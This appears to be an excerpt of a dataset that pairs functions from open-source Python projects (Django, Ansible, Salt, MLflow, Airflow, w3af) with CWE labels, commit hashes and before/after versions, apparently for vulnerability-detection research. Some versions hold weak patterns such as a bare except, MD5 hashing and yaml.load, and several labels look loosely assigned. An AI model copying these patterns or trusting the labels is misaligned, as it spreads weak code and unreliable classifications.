        _srid_cache[srid] = (units, units_name, spheroid)

    return _srid_cache[srid]",CWE-Unknown,django/django,fa591297533b4949a2414fbb27a9ff4b48ea482c,"def get_srid_info(srid):
    """"""
    Returns the units, unit name, and spheroid WKT associated with the
    given SRID from the `spatial_ref_sys` (or equivalent) spatial database
    table.  These results are cached.
    """"""
    global _srid_cache

    if SpatialBackend.mysql:
        return None, None, None

    if not srid in _srid_cache:
        from django.contrib.gis.models import SpatialRefSys
        sr = SpatialRefSys.objects.get(srid=srid)
        units, units_name = sr.units
        spheroid = SpatialRefSys.get_spheroid(sr.wkt)
        _srid_cache[srid] = (units, units_name, spheroid)

    return _srid_cache[srid]"
,UNKNOWN,UNKNOWN,tests/utils/test_proto_json_utils.py,1,"def test_dataframe_from_json():
    source = pd.DataFrame(
        {
            ""boolean"": [True, False, True],
            ""string"": [""a"", ""b"", ""c""],
            ""float"": np.array([1.2, 2.3, 3.4], dtype=np.float32),
            ""double"": np.array([1.2, 2.3, 3.4], dtype=np.float64),
            ""integer"": np.array([3, 4, 5], dtype=np.int32),
            ""long"": np.array([3, 4, 5], dtype=np.int64),
            ""binary"": [bytes([1, 2, 3]), bytes([4, 5]), bytes([6])],
            ""date_string"": [""2018-02-03"", ""1996-03-02"", ""2021-03-05""],
        },
        columns=[
            ""boolean"",
            ""string"",
            ""float"",
            ""double"",
            ""integer"",
            ""long"",
            ""binary"",
            ""date_string"",
        ],
    )

    jsonable_df = pd.DataFrame(source, copy=True)
    jsonable_df[""binary""] = jsonable_df[""binary""].map(base64.b64encode)
    schema = Schema(
        [
            ColSpec(""boolean"", ""boolean""),
            ColSpec(""string"", ""string""),
            ColSpec(""float"", ""float""),
            ColSpec(""double"", ""double""),
            ColSpec(""integer"", ""integer""),
            ColSpec(""long"", ""long""),
            ColSpec(""binary"", ""binary""),
            ColSpec(""string"", ""date_string""),
        ]
    )
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""split""), pandas_orient=""split"", schema=schema
    )
    assert parsed.equals(source)
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""records""), pandas_orient=""records"", schema=schema
    )
    assert parsed.equals(source)
    # try parsing with tensor schema
    tensor_schema = Schema(
        [
            TensorSpec(np.dtype(""bool""), [-1], ""boolean""),
            TensorSpec(np.dtype(""str""), [-1], ""string""),
            TensorSpec(np.dtype(""float32""), [-1], ""float""),
            TensorSpec(np.dtype(""float64""), [-1], ""double""),
            TensorSpec(np.dtype(""int32""), [-1], ""integer""),
            TensorSpec(np.dtype(""int64""), [-1], ""long""),
            TensorSpec(np.dtype(bytes), [-1], ""binary""),
        ]
    )
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""split""), pandas_orient=""split"", schema=tensor_schema
    )

    # NB: tensor schema does not automatically decode base64 encoded bytes.
    assert parsed.equals(jsonable_df)
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""records""), pandas_orient=""records"", schema=tensor_schema
    )

    # NB: tensor schema does not automatically decode base64 encoded bytes.
    assert parsed.equals(jsonable_df)

    # Test parse with TesnorSchema with a single tensor
    tensor_schema = Schema([TensorSpec(np.dtype(""float32""), [-1, 3])])
    source = pd.DataFrame(
        {
            ""a"": np.array([1, 2, 3], dtype=np.float32),
            ""b"": np.array([4.1, 5.2, 6.3], dtype=np.float32),
            ""c"": np.array([7, 8, 9], dtype=np.float32),
        },
        columns=[""a"", ""b"", ""c""],
    )
    assert source.equals(
        _dataframe_from_json(
            source.to_json(orient=""split""), pandas_orient=""split"", schema=tensor_schema
        )
    )
    assert source.equals(
        _dataframe_from_json(
            source.to_json(orient=""records""), pandas_orient=""records"", schema=tensor_schema
        )
    )",CWE-703,mlflow/mlflow,628cf209bcb56dc1cf99306c366fbe833f91dd5b,"def test_dataframe_from_json():
    source = pd.DataFrame(
        {
            ""boolean"": [True, False, True],
            ""string"": [""a"", ""b"", ""c""],
            ""float"": np.array([1.2, 2.3, 3.4], dtype=np.float32),
            ""double"": np.array([1.2, 2.3, 3.4], dtype=np.float64),
            ""integer"": np.array([3, 4, 5], dtype=np.int32),
            ""long"": np.array([3, 4, 5], dtype=np.int64),
            ""binary"": [bytes([1, 2, 3]), bytes([4, 5]), bytes([6])],
        },
        columns=[""boolean"", ""string"", ""float"", ""double"", ""integer"", ""long"", ""binary""],
    )

    jsonable_df = pd.DataFrame(source, copy=True)
    jsonable_df[""binary""] = jsonable_df[""binary""].map(base64.b64encode)
    schema = Schema(
        [
            ColSpec(""boolean"", ""boolean""),
            ColSpec(""string"", ""string""),
            ColSpec(""float"", ""float""),
            ColSpec(""double"", ""double""),
            ColSpec(""integer"", ""integer""),
            ColSpec(""long"", ""long""),
            ColSpec(""binary"", ""binary""),
        ]
    )
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""split""), pandas_orient=""split"", schema=schema
    )
    assert parsed.equals(source)
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""records""), pandas_orient=""records"", schema=schema
    )
    assert parsed.equals(source)
    # try parsing with tensor schema
    tensor_schema = Schema(
        [
            TensorSpec(np.dtype(""bool""), [-1], ""boolean""),
            TensorSpec(np.dtype(""str""), [-1], ""string""),
            TensorSpec(np.dtype(""float32""), [-1], ""float""),
            TensorSpec(np.dtype(""float64""), [-1], ""double""),
            TensorSpec(np.dtype(""int32""), [-1], ""integer""),
            TensorSpec(np.dtype(""int64""), [-1], ""long""),
            TensorSpec(np.dtype(bytes), [-1], ""binary""),
        ]
    )
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""split""), pandas_orient=""split"", schema=tensor_schema
    )

    # NB: tensor schema does not automatically decode base64 encoded bytes.
    assert parsed.equals(jsonable_df)
    parsed = _dataframe_from_json(
        jsonable_df.to_json(orient=""records""), pandas_orient=""records"", schema=tensor_schema
    )

    # NB: tensor schema does not automatically decode base64 encoded bytes.
    assert parsed.equals(jsonable_df)

    # Test parse with TesnorSchema with a single tensor
    tensor_schema = Schema([TensorSpec(np.dtype(""float32""), [-1, 3])])
    source = pd.DataFrame(
        {
            ""a"": np.array([1, 2, 3], dtype=np.float32),
            ""b"": np.array([4.1, 5.2, 6.3], dtype=np.float32),
            ""c"": np.array([7, 8, 9], dtype=np.float32),
        },
        columns=[""a"", ""b"", ""c""],
    )
    assert source.equals(
        _dataframe_from_json(
            source.to_json(orient=""split""), pandas_orient=""split"", schema=tensor_schema
        )
    )
    assert source.equals(
        _dataframe_from_json(
            source.to_json(orient=""records""), pandas_orient=""records"", schema=tensor_schema
        )
    )"
,UNKNOWN,UNKNOWN,test/units/modules/cloud/amazon/test_cloudformation.py,1,"def test_basic_s3_stack(maybe_sleep, placeboify):
    connection = placeboify.client('cloudformation')
    params = {
        'StackName': 'ansible-test-basic-yaml',
        'TemplateBody': basic_yaml_tpl,
        'ClientRequestToken': '3faf3fb5-b289-41fc-b940-44151828f6cf',
    }
    m = FakeModule(disable_rollback=False)
    result = cfn_module.create_stack(m, params, connection)
    assert result['changed']
    assert len(result['events']) > 1
    # require that the final recorded stack state was CREATE_COMPLETE
    # events are retrieved newest-first, so 0 is the latest
    assert 'CREATE_COMPLETE' in result['events'][0]
    connection.delete_stack(StackName='ansible-test-basic-yaml')",CWE-703,ansible/ansible,11c225e0396259e93bd616a2e833a38e89b26627,"def test_basic_s3_stack(maybe_sleep, placeboify):
    connection = placeboify.client('cloudformation')
    params = {
        'StackName': 'ansible-test-basic-yaml',
        'TemplateBody': basic_yaml_tpl,
    }
    m = FakeModule(disable_rollback=False)
    result = cfn_module.create_stack(m, params, connection)
    assert result['changed']
    assert len(result['events']) > 1
    # require that the final recorded stack state was CREATE_COMPLETE
    # events are retrieved newest-first, so 0 is the latest
    assert 'CREATE_COMPLETE' in result['events'][0]
    connection.delete_stack(StackName='ansible-test-basic-yaml')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/dellos6/dellos6_facts.py,0,"def populate(self):
        super(Default, self).populate()
        data = self.responses[0]
        self.facts['version'] = self.parse_version(data)
        self.facts['serialnum'] = self.parse_serialnum(data)
        self.facts['model'] = self.parse_model(data)
        self.facts['image'] = self.parse_image(data)
        hdata = self.responses[1]
        self.facts['hostname'] = self.parse_hostname(hdata)",,ansible/ansible,6c4759438866c5c811928d11a948e078f6bfe02e,"def populate(self):
        super(Default, self).populate()
        data = self.responses[0]
        self.facts['version'] = self.parse_version(data)
        self.facts['serialnum'] = self.parse_serialnum(data)
        self.facts['model'] = self.parse_model(data)
        self.facts['image'] = self.parse_image(data)
        hdata = self.responses[1]
        self.facts['hostname'] = self.parse_hostname(hdata)"
,UNKNOWN,UNKNOWN,salt/cloud/clouds/azurearm.py,1,"def list_nodes(conn=None, call=None):  # pylint: disable=unused-argument
    '''
    List VMs on this Azure Active Provider
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The list_nodes function must be called with -f or --function.'
        )

    ret = {}
    global compconn  # pylint: disable=global-statement,invalid-name
    if not compconn:
        compconn = get_conn()

    nodes = list_nodes_full(compconn, call)

    active_resource_group = None
    try:
        provider, driver = __active_provider_name__.split(':')
        active_resource_group = __opts__['providers'][provider][driver]['resource_group']
    except KeyError:
        pass

    for node in nodes:
        if not nodes[node]['resource_group'] == active_resource_group:
            continue
        ret[node] = {'name': node}
        for prop in ('id', 'image', 'size', 'state', 'private_ips', 'public_ips'):
            ret[node][prop] = nodes[node].get(prop)
    return ret",CWE-703,saltstack/salt,2d5e6f8117d4b1b2a8e1189dc391f5c9882c7ee5,"def list_nodes(conn=None, call=None):  # pylint: disable=unused-argument
    '''
    List VMs on this Azure Active Provider
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The list_nodes function must be called with -f or --function.'
        )

    ret = {}
    global compconn  # pylint: disable=global-statement,invalid-name
    if not compconn:
        compconn = get_conn()

    nodes = list_nodes_full(compconn, call)

    active_resource_group = None
    try:
        provider, driver = __active_provider_name__.split(':')
        active_resource_group = __opts__['providers'][provider][driver]['resource_group']
    except:
        pass

    for node in nodes:
        if not nodes[node]['resource_group'] == active_resource_group:
            continue
        ret[node] = {'name': node}
        for prop in ('id', 'image', 'size', 'state', 'private_ips', 'public_ips'):
            ret[node][prop] = nodes[node].get(prop)
    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/manager.py,0,"def get_or_create(self, **kwargs):
        return self.get_queryset().get_or_create(**kwargs)",CWE-Unknown,django/django,6272d2f155adb4f32ef129d57e9eb5493ebde6ed,"def get_or_create(self, **kwargs):
        return self.get_queryset().get_or_create(**kwargs)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/request/fuzzable_request.py,0,"def get_all_headers(self):
        """"""
        :return: Calls get_default_headers to get the default framework headers,
        get_post_data_headers to get the DataContainer headers, merges that info
        with the user specified headers (which live in self._headers) and
        returns a Headers instance which will be sent to the wire.
        """"""
        wire_headers = Headers()

        for k, v in chain(self._headers.items(),
                          self.get_post_data_headers().items()):

            # Please note that here we're overwriting the headers from the
            # fuzzable request with the headers from the data container,
            # the overwriting is done in this order due to the order in the
            # chain() items above
            #
            # I found a bug where I loaded a request from spider_man, saved
            # it using dump() and then tried to load it again and failed because
            # of this overwriting not being done (the multipart boundary was
            # incorrect).
            #
            # Keep that in mind in case you want to change this overwriting!
            #
            # Overwrite the existing one, case insensitive style
            _, stored_header_name = wire_headers.iget(k, None)
            if stored_header_name is not None:
                wire_headers[stored_header_name] = v
            else:
                wire_headers[k] = v

        return wire_headers",,andresriancho/w3af,fd7af30bd969c57b9d12bc97fceec2087595d796,"def get_all_headers(self):
        """"""
        :return: Calls get_default_headers to get the default framework headers,
        get_post_data_headers to get the DataContainer headers, merges that info
        with the user specified headers (which live in self._headers) and
        returns a Headers instance which will be sent to the wire.
        """"""
        wire_headers = Headers()

        for k, v in chain(self._headers.items(),
                          self.get_post_data_headers().items()):

            # Please note that here we're overwriting the headers from the
            # fuzzable request with the headers from the data container,
            # the overwriting is done in this order due to the order in the
            # chain() items above
            #
            # I found a bug where I loaded a request from spider_man, saved
            # it using dump() and then tried to load it again and failed because
            # of this overwriting not being done (the multipart boundary was
            # incorrect).
            #
            # Keep that in mind in case you want to change this overwriting!
            wire_headers[k] = v

        return wire_headers"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/model_fields/test_generatedfield.py,0,"def test_save(self):
        # Insert.
        m = self.base_model(a=2, b=4)
        m.save()
        m = self._refresh_if_needed(m)
        self.assertEqual(m.field, 6)
        # Update.
        m.a = 4
        m.save()
        m.refresh_from_db()
        self.assertEqual(m.field, 8)",CWE-Unknown,django/django,8b53560eea9f10a1271d3bdf765dc6f969c7d9d5,"def test_save(self):
        # Insert.
        m = self.base_model(a=2, b=4)
        m.save()
        m = self._refresh_if_needed(m)
        self.assertEqual(m.field, 6)
        # Update.
        m.a = 4
        m.save()
        m.refresh_from_db()
        self.assertEqual(m.field, 8)"
,UNKNOWN,UNKNOWN,tests/serialization/test_pydantic_models.py,1,"def test_deserialize_ti_mapped_op_reserialized_with_refresh_from_task(session, dag_maker):
    op_class_dict_expected = {
        ""_needs_expansion"": True,
        ""_task_type"": ""_PythonDecoratedOperator"",
        ""downstream_task_ids"": [],
        ""start_from_trigger"": False,
        ""start_trigger_args"": None,
        ""_operator_name"": ""@task"",
        ""ui_fgcolor"": ""#000"",
        ""ui_color"": ""#ffefeb"",
        ""template_fields"": [""templates_dict"", ""op_args"", ""op_kwargs""],
        ""template_fields_renderers"": {""templates_dict"": ""json"", ""op_args"": ""py"", ""op_kwargs"": ""py""},
        ""template_ext"": [],
        ""task_id"": ""target"",
    }

    with dag_maker():

        @task
        def source():
            return [1, 2, 3]

        @task
        def target(val=None):
            print(val)

        # source() >> target()
        target.expand(val=source())
    dr = dag_maker.create_dagrun()
    ti = dr.task_instances[1]

    # roundtrip task
    ser_task = BaseSerialization.serialize(ti.task, use_pydantic_models=True)
    deser_task = BaseSerialization.deserialize(ser_task, use_pydantic_models=True)
    ti.task.operator_class
    # this is part of the problem!
    assert isinstance(ti.task.operator_class, type)
    assert isinstance(deser_task.operator_class, dict)

    assert ti.task.operator_class == _PythonDecoratedOperator
    ti.refresh_from_task(deser_task)
    # roundtrip ti
    sered = BaseSerialization.serialize(ti, use_pydantic_models=True)
    desered = BaseSerialization.deserialize(sered, use_pydantic_models=True)

    assert ""operator_class"" not in sered[""__var""][""task""]

    assert desered.task.__class__ == MappedOperator

    assert desered.task.operator_class == op_class_dict_expected

    desered.refresh_from_task(deser_task)

    assert desered.task.__class__ == MappedOperator

    assert isinstance(desered.task.operator_class, dict)

    resered = BaseSerialization.serialize(desered, use_pydantic_models=True)
    deresered = BaseSerialization.deserialize(resered, use_pydantic_models=True)
    assert deresered.task.operator_class == desered.task.operator_class == op_class_dict_expected",CWE-703,apache/airflow,d509abfa217565d2d5249c639ea7459c44292368,"def test_deserialize_ti_mapped_op_reserialized_with_refresh_from_task(session, dag_maker):
    op_class_dict_expected = {
        ""_needs_expansion"": True,
        ""_task_type"": ""_PythonDecoratedOperator"",
        ""downstream_task_ids"": [],
        ""next_method"": None,
        ""start_trigger"": None,
        ""_operator_name"": ""@task"",
        ""ui_fgcolor"": ""#000"",
        ""ui_color"": ""#ffefeb"",
        ""template_fields"": [""templates_dict"", ""op_args"", ""op_kwargs""],
        ""template_fields_renderers"": {""templates_dict"": ""json"", ""op_args"": ""py"", ""op_kwargs"": ""py""},
        ""template_ext"": [],
        ""task_id"": ""target"",
    }

    with dag_maker():

        @task
        def source():
            return [1, 2, 3]

        @task
        def target(val=None):
            print(val)

        # source() >> target()
        target.expand(val=source())
    dr = dag_maker.create_dagrun()
    ti = dr.task_instances[1]

    # roundtrip task
    ser_task = BaseSerialization.serialize(ti.task, use_pydantic_models=True)
    deser_task = BaseSerialization.deserialize(ser_task, use_pydantic_models=True)
    ti.task.operator_class
    # this is part of the problem!
    assert isinstance(ti.task.operator_class, type)
    assert isinstance(deser_task.operator_class, dict)

    assert ti.task.operator_class == _PythonDecoratedOperator
    ti.refresh_from_task(deser_task)
    # roundtrip ti
    sered = BaseSerialization.serialize(ti, use_pydantic_models=True)
    desered = BaseSerialization.deserialize(sered, use_pydantic_models=True)

    assert ""operator_class"" not in sered[""__var""][""task""]

    assert desered.task.__class__ == MappedOperator

    assert desered.task.operator_class == op_class_dict_expected

    desered.refresh_from_task(deser_task)

    assert desered.task.__class__ == MappedOperator

    assert isinstance(desered.task.operator_class, dict)

    resered = BaseSerialization.serialize(desered, use_pydantic_models=True)
    deresered = BaseSerialization.deserialize(resered, use_pydantic_models=True)
    assert deresered.task.operator_class == desered.task.operator_class == op_class_dict_expected"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/makemigrations.py,0,"def handle(self, *app_labels, **options):
        self.verbosity = options['verbosity']
        self.interactive = options['interactive']
        self.dry_run = options['dry_run']
        self.merge = options['merge']
        self.empty = options['empty']
        self.migration_name = options['name']
        self.exit_code = options['exit_code']
        check_changes = options['check_changes']

        if self.exit_code:
            warnings.warn(
                ""The --exit option is deprecated in favor of the --check option."",
                RemovedInDjango20Warning
            )

        # Make sure the app they asked for exists
        app_labels = set(app_labels)
        bad_app_labels = set()
        for app_label in app_labels:
            try:
                apps.get_app_config(app_label)
            except LookupError:
                bad_app_labels.add(app_label)
        if bad_app_labels:
            for app_label in bad_app_labels:
                self.stderr.write(""App '%s' could not be found. Is it in INSTALLED_APPS?"" % app_label)
            sys.exit(2)

        # Load the current graph state. Pass in None for the connection so
        # the loader doesn't try to resolve replaced migrations from DB.
        loader = MigrationLoader(None, ignore_no_migrations=True)

        # Raise an error if any migrations are applied before their dependencies.
        for db in connections:
            connection = connections[db]
            if connection.settings_dict['ENGINE'] != 'django.db.backends.dummy':
                loader.check_consistent_history(connection)

        # Before anything else, see if there's conflicting apps and drop out
        # hard if there are any and they don't want to merge
        conflicts = loader.detect_conflicts()

        # If app_labels is specified, filter out conflicting migrations for unspecified apps
        if app_labels:
            conflicts = {
                app_label: conflict for app_label, conflict in iteritems(conflicts)
                if app_label in app_labels
            }

        if conflicts and not self.merge:
            name_str = ""; "".join(
                ""%s in %s"" % ("", "".join(names), app)
                for app, names in conflicts.items()
            )
            raise CommandError(
                ""Conflicting migrations detected; multiple leaf nodes in the ""
                ""migration graph: (%s).\nTo fix them run ""
                ""'python manage.py makemigrations --merge'"" % name_str
            )

        # If they want to merge and there's nothing to merge, then politely exit
        if self.merge and not conflicts:
            self.stdout.write(""No conflicts detected to merge."")
            return

        # If they want to merge and there is something to merge, then
        # divert into the merge code
        if self.merge and conflicts:
            return self.handle_merge(loader, conflicts)

        if self.interactive:
            questioner = InteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        else:
            questioner = NonInteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        # Set up autodetector
        autodetector = MigrationAutodetector(
            loader.project_state(),
            ProjectState.from_apps(apps),
            questioner,
        )

        # If they want to make an empty migration, make one for each app
        if self.empty:
            if not app_labels:
                raise CommandError(""You must supply at least one app label when using --empty."")
            # Make a fake changes() result we can pass to arrange_for_graph
            changes = {
                app: [Migration(""custom"", app)]
                for app in app_labels
            }
            changes = autodetector.arrange_for_graph(
                changes=changes,
                graph=loader.graph,
                migration_name=self.migration_name,
            )
            self.write_migration_files(changes)
            return

        # Detect changes
        changes = autodetector.changes(
            graph=loader.graph,
            trim_to_apps=app_labels or None,
            convert_apps=app_labels or None,
            migration_name=self.migration_name,
        )

        if not changes:
            # No changes? Tell them.
            if self.verbosity >= 1:
                if len(app_labels) == 1:
                    self.stdout.write(""No changes detected in app '%s'"" % app_labels.pop())
                elif len(app_labels) > 1:
                    self.stdout.write(""No changes detected in apps '%s'"" % (""', '"".join(app_labels)))
                else:
                    self.stdout.write(""No changes detected"")

            if self.exit_code:
                sys.exit(1)
        else:
            self.write_migration_files(changes)
            if check_changes:
                sys.exit(1)",CWE-Unknown,django/django,ddcf7dbae7f6e5fd3c3398aba13bf55b95c80a62,"def handle(self, *app_labels, **options):
        self.verbosity = options['verbosity']
        self.interactive = options['interactive']
        self.dry_run = options['dry_run']
        self.merge = options['merge']
        self.empty = options['empty']
        self.migration_name = options['name']
        self.exit_code = options['exit_code']
        check_changes = options['check_changes']

        if self.exit_code:
            warnings.warn(
                ""The --exit option is deprecated in favor of the --check option."",
                RemovedInDjango20Warning
            )

        # Make sure the app they asked for exists
        app_labels = set(app_labels)
        bad_app_labels = set()
        for app_label in app_labels:
            try:
                apps.get_app_config(app_label)
            except LookupError:
                bad_app_labels.add(app_label)
        if bad_app_labels:
            for app_label in bad_app_labels:
                self.stderr.write(""App '%s' could not be found. Is it in INSTALLED_APPS?"" % app_label)
            sys.exit(2)

        # Load the current graph state. Pass in None for the connection so
        # the loader doesn't try to resolve replaced migrations from DB.
        loader = MigrationLoader(None, ignore_no_migrations=True)

        # Raise an error if any migrations are applied before their dependencies.
        for db in connections:
            loader.check_consistent_history(connections[db])

        # Before anything else, see if there's conflicting apps and drop out
        # hard if there are any and they don't want to merge
        conflicts = loader.detect_conflicts()

        # If app_labels is specified, filter out conflicting migrations for unspecified apps
        if app_labels:
            conflicts = {
                app_label: conflict for app_label, conflict in iteritems(conflicts)
                if app_label in app_labels
            }

        if conflicts and not self.merge:
            name_str = ""; "".join(
                ""%s in %s"" % ("", "".join(names), app)
                for app, names in conflicts.items()
            )
            raise CommandError(
                ""Conflicting migrations detected; multiple leaf nodes in the ""
                ""migration graph: (%s).\nTo fix them run ""
                ""'python manage.py makemigrations --merge'"" % name_str
            )

        # If they want to merge and there's nothing to merge, then politely exit
        if self.merge and not conflicts:
            self.stdout.write(""No conflicts detected to merge."")
            return

        # If they want to merge and there is something to merge, then
        # divert into the merge code
        if self.merge and conflicts:
            return self.handle_merge(loader, conflicts)

        if self.interactive:
            questioner = InteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        else:
            questioner = NonInteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        # Set up autodetector
        autodetector = MigrationAutodetector(
            loader.project_state(),
            ProjectState.from_apps(apps),
            questioner,
        )

        # If they want to make an empty migration, make one for each app
        if self.empty:
            if not app_labels:
                raise CommandError(""You must supply at least one app label when using --empty."")
            # Make a fake changes() result we can pass to arrange_for_graph
            changes = {
                app: [Migration(""custom"", app)]
                for app in app_labels
            }
            changes = autodetector.arrange_for_graph(
                changes=changes,
                graph=loader.graph,
                migration_name=self.migration_name,
            )
            self.write_migration_files(changes)
            return

        # Detect changes
        changes = autodetector.changes(
            graph=loader.graph,
            trim_to_apps=app_labels or None,
            convert_apps=app_labels or None,
            migration_name=self.migration_name,
        )

        if not changes:
            # No changes? Tell them.
            if self.verbosity >= 1:
                if len(app_labels) == 1:
                    self.stdout.write(""No changes detected in app '%s'"" % app_labels.pop())
                elif len(app_labels) > 1:
                    self.stdout.write(""No changes detected in apps '%s'"" % (""', '"".join(app_labels)))
                else:
                    self.stdout.write(""No changes detected"")

            if self.exit_code:
                sys.exit(1)
        else:
            self.write_migration_files(changes)
            if check_changes:
                sys.exit(1)"
,UNKNOWN,UNKNOWN,salt/modules/saltutil.py,1,"def _sync(form, env=None):
    '''
    Sync the given directory in the given environment
    '''
    if env is None:
        # No environment passed, detect them based on gathering the top files
        # from the master
        env = 'base'
        st_ = salt.state.HighState(__opts__)
        top = st_.get_top()
        if top:
            env = st_.top_matches(top).keys()
    if isinstance(env, string_types):
        env = env.split(',')
    ret = []
    remote = set()
    source = os.path.join('salt://_{0}'.format(form))
    mod_dir = os.path.join(__opts__['extension_modules'], '{0}'.format(form))
    if not os.path.isdir(mod_dir):
        log.info(""Creating module dir '%s'"" % mod_dir)
        os.makedirs(mod_dir)
    for sub_env in env:
        log.info(""Syncing %s for environment '%s'"" % (form, sub_env))
        cache = []
        log.info('Loading cache from %s,for %s)' % (source, sub_env))
        cache.extend(__salt__['cp.cache_dir'](source, sub_env))
        local_cache_dir=os.path.join(
                __opts__['cachedir'],
                'files',
                sub_env,
                '_{0}'.format(form)
                )
        log.debug(""Local cache dir: '%s'"" % local_cache_dir)
        for fn_ in cache:
            relpath = os.path.relpath(fn_, local_cache_dir)
            relname = os.path.splitext(relpath)[0].replace(os.sep, '.')
            remote.add(relpath)
            dest = os.path.join(mod_dir, relpath)
            log.info(""Copying '%s' to '%s'"" % (fn_, dest))
            if os.path.isfile(dest):
                # The file is present, if the sum differs replace it
                srch = hashlib.md5(open(fn_, 'r').read()).hexdigest()
                dsth = hashlib.md5(open(dest, 'r').read()).hexdigest()
                if srch != dsth:
                    # The downloaded file differes, replace!
                    shutil.copyfile(fn_, dest)
                    ret.append('{0}.{1}'.format(form, relname))
            else:
                dest_dir = os.path.dirname(dest)
                if not os.path.isdir(dest_dir):
                    os.makedirs(dest_dir)
                shutil.copyfile(fn_, dest)
                ret.append('{0}.{1}'.format(form, relname))

    touched = bool(ret)
    if __opts__.get('clean_dynamic_modules', True):
        current = set(_listdir_recursively(mod_dir))
        for fn_ in current - remote:
            full = os.path.join(mod_dir, fn_)
            if os.path.isfile(full):
                touched = True
                os.remove(full)
        #cleanup empty dirs
        while True:
            emptydirs = _list_emptydirs(mod_dir)
            if not emptydirs:
                break
            for emptydir in emptydirs:
                touched = True
                os.rmdir(emptydir)
    #dest mod_dir is touched? trigger reload if requested
    if touched:
        mod_file = os.path.join(__opts__['cachedir'], 'module_refresh')
        with open(mod_file, 'a+') as f:
            f.write('')
    return ret",CWE-327,saltstack/salt,25f9c5386ad09de6c9b7cdbf6f36e3c8ca1e2a0f,"def _sync(form, env=None):
    '''
    Sync the given directory in the given environment
    '''
    if env is None:
        # No environment passed, detect them based on gathering the top files
        # from the master
        env = 'base'
        st_ = salt.state.HighState(__opts__)
        top = st_.get_top()
        if top:
            env = st_.top_matches(top).keys()
    if isinstance(env, string_types):
        env = env.split(',')
    ret = []
    remote = set()
    source = os.path.join('salt://_{0}'.format(form))
    mod_dir = os.path.join(__opts__['extension_modules'], '{0}'.format(form))
    if not os.path.isdir(mod_dir):
        os.makedirs(mod_dir)
    for sub_env in env:
        cache = []
        cache.extend(__salt__['cp.cache_dir'](source, sub_env))
        local_cache_dir=os.path.join(
                __opts__['cachedir'],
                'files',
                sub_env,
                '_{0}'.format(form)
                )
        for fn_ in cache:
            relpath=os.path.relpath(fn_, local_cache_dir)
            relname=os.path.splitext(relpath)[0].replace('/','.')
            remote.add(relpath)
            dest = os.path.join(mod_dir, relpath)
            if os.path.isfile(dest):
                # The file is present, if the sum differs replace it
                srch = hashlib.md5(open(fn_, 'r').read()).hexdigest()
                dsth = hashlib.md5(open(dest, 'r').read()).hexdigest()
                if srch != dsth:
                    # The downloaded file differes, replace!
                    shutil.copyfile(fn_, dest)
                    ret.append('{0}.{1}'.format(form, relname))
            else:
                dest_dir = os.path.dirname(dest)
                if not os.path.isdir(dest_dir):
                    os.makedirs(dest_dir)
                shutil.copyfile(fn_, dest)
                ret.append('{0}.{1}'.format(form, relname))

    touched = bool(ret)
    if __opts__.get('clean_dynamic_modules', True):
        current = set(_listdir_recursively(mod_dir))
        for fn_ in current - remote:
            full = os.path.join(mod_dir, fn_)
            if os.path.isfile(full):
                touched = True
                os.remove(full)
        #cleanup empty dirs
        while True:
            emptydirs = _list_emptydirs(mod_dir)
            if not emptydirs:
                break
            for emptydir in emptydirs:
                touched = True
                os.rmdir(emptydir)
    #dest mod_dir is touched? trigger reload if requested
    if touched:
        mod_file = os.path.join(__opts__['cachedir'], 'module_refresh')
        with open(mod_file, 'a+') as f:
            f.write('')
    return ret"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/cloudformation.py,1,"def main():
    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
            stack_name=dict(required=True),
            template_parameters=dict(required=False, type='dict', default={}),
            state=dict(default='present', choices=['present', 'absent']),
            template=dict(default=None, required=False, type='path'),
            notification_arns=dict(default=None, required=False),
            stack_policy=dict(default=None, required=False),
            disable_rollback=dict(default=False, type='bool'),
            template_url=dict(default=None, required=False),
            template_format=dict(default='json', choices=['json', 'yaml'], required=False),
            tags=dict(default=None, type='dict')
        )
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        mutually_exclusive=[['template_url', 'template']],
    )
    if not HAS_BOTO:
        module.fail_json(msg='boto required for this module')

    state = module.params['state']
    stack_name = module.params['stack_name']

    if module.params['template'] is None and module.params['template_url'] is None:
        if state == 'present':
            module.fail_json(msg='Module parameter ""template"" or ""template_url"" is required if ""state"" is ""present""')

    if module.params['template'] is not None:
        template_body = open(module.params['template'], 'r').read()
    else:
        template_body = None

    if module.params['template_format'] == 'yaml':
        if template_body is None:
            module.fail_json(msg='yaml format only supported for local templates')
        else:
            template_body = json.dumps(yaml.load(template_body), indent=2)

    notification_arns = module.params['notification_arns']

    if module.params['stack_policy'] is not None:
        stack_policy_body = open(module.params['stack_policy'], 'r').read()
    else:
        stack_policy_body = None

    disable_rollback = module.params['disable_rollback']
    template_parameters = module.params['template_parameters']
    tags = module.params['tags']
    template_url = module.params['template_url']

    region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module)

    kwargs = dict()
    if tags is not None:
        if not boto_version_required((2,6,0)):
            module.fail_json(msg='Module parameter ""tags"" requires at least Boto version 2.6.0')
        kwargs['tags'] = tags


    # convert the template parameters ansible passes into a tuple for boto
    template_parameters_tup = [(k, v) for k, v in template_parameters.items()]
    stack_outputs = {}

    try:
        cfn = connect_to_aws(boto.cloudformation, region, **aws_connect_kwargs)
    except boto.exception.NoAuthHandlerFound as e:
        module.fail_json(msg=str(e))
    update = False
    result = {}
    operation = None

